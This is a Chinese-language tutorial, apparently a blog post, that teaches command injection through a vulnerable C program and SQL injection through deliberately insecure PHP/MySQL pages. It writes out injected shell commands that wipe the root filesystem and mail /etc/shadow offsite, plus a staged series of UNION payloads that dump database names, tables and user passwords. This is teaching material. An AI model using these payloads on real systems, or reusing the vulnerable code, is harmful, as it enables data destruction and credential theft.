c程序代码注入
c程序:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#include <stdio.h>
int main(int argc, char *argv[])
{
char src[100], dst[100], cmd[205] = "cp ";
printf("Please enter name of source file:");
gets(src);
strcat(cmd, src);
strcat(cmd, " ");
printf("Please enter name of destination file:");
gets(dst);
strcat(cmd, dst);
system(cmd);
return 0;
}
程序本身是要求输入一个拷贝源文件和拷贝目标文件,将源文件内容拷贝到目标文件,正常执行:
异常代码注入
同时还能干这些事情
删除根目录,你可以试试1
cp hello world; rm -rf / --no-preserve-root
将linux系统的密码文件通过邮件发送1
cp hello world; mail ****@****.com < /etc/shadow
SQL代码注入
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>
<title>sql 注入测试</title>
</head>
<body>
<div class="card" style="width: 20rem;">
<div class="card-body">
<form method="POST" action="index.php">
<div class="form-group">
<label class="col-form-label" for="formGroupExampleInput">SQL query</label>
<input type="text" class="form-control" name="content" id="content" placeholder="Example input">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</body>
</html>index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>
<title>SQL 注入</title>
</head>
<body>
if ($_POST[content]) {
$db_host = "localhost";
$db_user = "my_user";
$db_password = "my_password";
$db_name = "my_db";
$content = $_POST[content];
$query = "SELECT * FROM users WHERE name = '$content'";
$conn = mysqli_connect($db_host,$db_user,$db_password,$db_name);
$result = mysqli_query($conn, $query);
var_dump();
if (mysqli_num_rows($result)) {
while ($row = mysqli_fetch_array($result)) {
echo "Your name is " . $row[1] . "</br>";
}
} else {
echo "No Found!";
}
mysqli_close($conn);
} else {
var_dump($_POST);
echo "Don't get your content!";
}
</body>
</html>
表中数据
正常输入
异常输入
问题在于SELECT * FROM users WHERE name = '$content'
在接收前端输入的字符串时,直接拼接查询语句,当输入为hello' OR 1=1 #
时,将语句拼接完成就是SELECT * FROM users WHERE name = 'hello' OR 1=1 #'
,其中hello
后的一个单引号将查询语句的第一个单引号关闭了,接下来就是OR
语句的真子句,最后将多余的单引号注释掉,那么这个查询永远为真,查询语句就会将数据库中所有的数据都返回。
SQL注入续
low.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$db_host = "localhost";
$db_user = "my_user";
$db_password = "my_password";
$db_name = "my_db";
$user = $_POST[ 'username' ];
$pass = $_POST[ 'password' ];
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$conn = mysqli_connect($db_host,$db_user,$db_password,$db_name);
$result = mysqli_query($conn, $query);
if( $result && mysqli_num_rows( $result ) == 1 ) {
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysqli_close($conn);
medium.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$db_host = "localhost";
$db_user = "my_user";
$db_password = "my_password";
$db_name = "my_db";
$conn = mysqli_connect($db_host,$db_user,$db_password,$db_name);
$user = $_POST[ 'username' ];
$pass = $_POST[ 'password' ];
$user = mysqli_real_escape_string($conn, $user);
$pass = mysqli_real_escape_string($conn, $pass);
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($conn, $query);
if( $result && mysqli_num_rows( $result ) == 1 ) {
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
echo "<pre><br />Username and/or password incorrect.</pre>";
}
mysqli_close($conn);
sql.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>
<title>SQL 注入</title>
</head>
<body>
if ($_POST[content]) {
$db_host = "localhost";
$db_user = "my_user";
$db_password = "my_password";
$db_name = "my_db";
$content = $_POST[content];
$query = "SELECT first_name,last_name FROM users WHERE user_id = '$content'";
$conn = mysqli_connect($db_host,$db_user,$db_password,$db_name);
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result)) {
while ($row = mysqli_fetch_array($result)) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "No Found!";
}
mysqli_close($conn);
} else {
var_dump($_POST);
echo "Don't get your content!";
}
</body>
</html>
user.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous">
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script>
<style>
div{
border:1px;
width:400px;
margin:20px auto;
}
</style>
<title>sql 注入测试</title>
</head>
<body>
<div class="card">
<div class="card-body">
<h2>Login</h2>
<form action="medium.php" method="POST">
Username:<br>
<input type="text" class="form-control" name="username" placeholder="username">
Password:<br>
<input type="password" class="form-control" name="password" placeholder="password">
<br>
<button type="submit" class="btn btn-primary">Login</button>
</form>
</div>
</div>
</body>
</html>
初步注入
1 | 1' or '1'='1 |
猜测查询语句的字段数
即要对查询语句1
SELECT first_name,last_name FROM users WHERE user_id = '$content'
中的SELECT
字段进行猜测1
2
31' or 1=1 order by 1 #
1' or 1=1 order by 2 #
1' or 1=1 order by 3 #
尝试到3时出现No Found
说明SELECT
里有两个字段数
查询刚刚猜测的字段顺序
1 | 1' union select 1,2 # |
sql
语法union
是将两个集合去重合并,相当于原本返回admin,admin
,现在又存在1,2
,通过union
后就是两行数据
获取当前数据库名
1 | 1' union select 1,database() # |
database()
是数据库系统信息函数,作用是获取当前数据库名,其他数据库信息函数有
函数 | 作用 |
---|---|
version() | 获取数据库的版本号 |
connection_id() | 获取数据库的连接数 |
database();schema() | 获取当前数据库名 |
user();system_user() | 获取当前用户 |
current_user() | 获取当前用户 |
charset(str) | 获取字符串str的字符集 |
collation(str) | 获取字符串str的字符排列方式 |
获取当前表名
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # |
mysql
在创建时默认创建一个information_schema数据库,在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
information_schema
数据库表说明:
SCHEMATA
表:提供了当前mysql实例中所有数据库的信息。show databases
的结果取之此表。TABLES
表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname
的结果取之此表。COLUMNS
表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename
的结果取之此表。STATISTICS
表:提供了关于表索引的信息。show index from schemaname.tablename
的结果取之此表。USER_PRIVILEGES
(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。VIEWS
表:给出了关于数据库中的视图的信息。需要有show views
权限,否则无法查看视图信息TRIGGERS
表:提供了关于触发程序的信息。必须有super权限才能查看该表
获取当前表字段名
1 | 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # |
获取所有数据
1 | 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # |
视频
php 注入
1 |
|
与c代码注入类似,基本在于调用系统的命令来获取结果,诸如php获取系统版本、mysql版本、服务器时间、Web服务器类型等等系统信息,使用系统命令,都可能会产生注入漏洞。在本例中仍然可以在url中注入一些系统命令。
注入防范
明白注入的基本方式和原理,很容易知道,通过输入检查来预防注入。获取到输入的字符串,对字符串进行过滤、转义等操作,只不过诸如php的不同输入检查函数,不同的函数的检查方法不一样,但有可能仍然存在编写者本身没有考虑到的可能性,这就导致了漏洞不间断出现。在使用这些检查函数时,要认真查看函数的检查方法以及过滤的东西。在此举个例子:
mysqli_real_escape_string( mysqli $link , string $escapestr)
:
- Parameters:
- link: Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()
- escapestr: The string to be escaped. Characters encoded are NUL (ASCII 0), \n, \r, \, ‘, “, and Control-Z.
- Return Value:
- Returns an escaped string.
1 |
|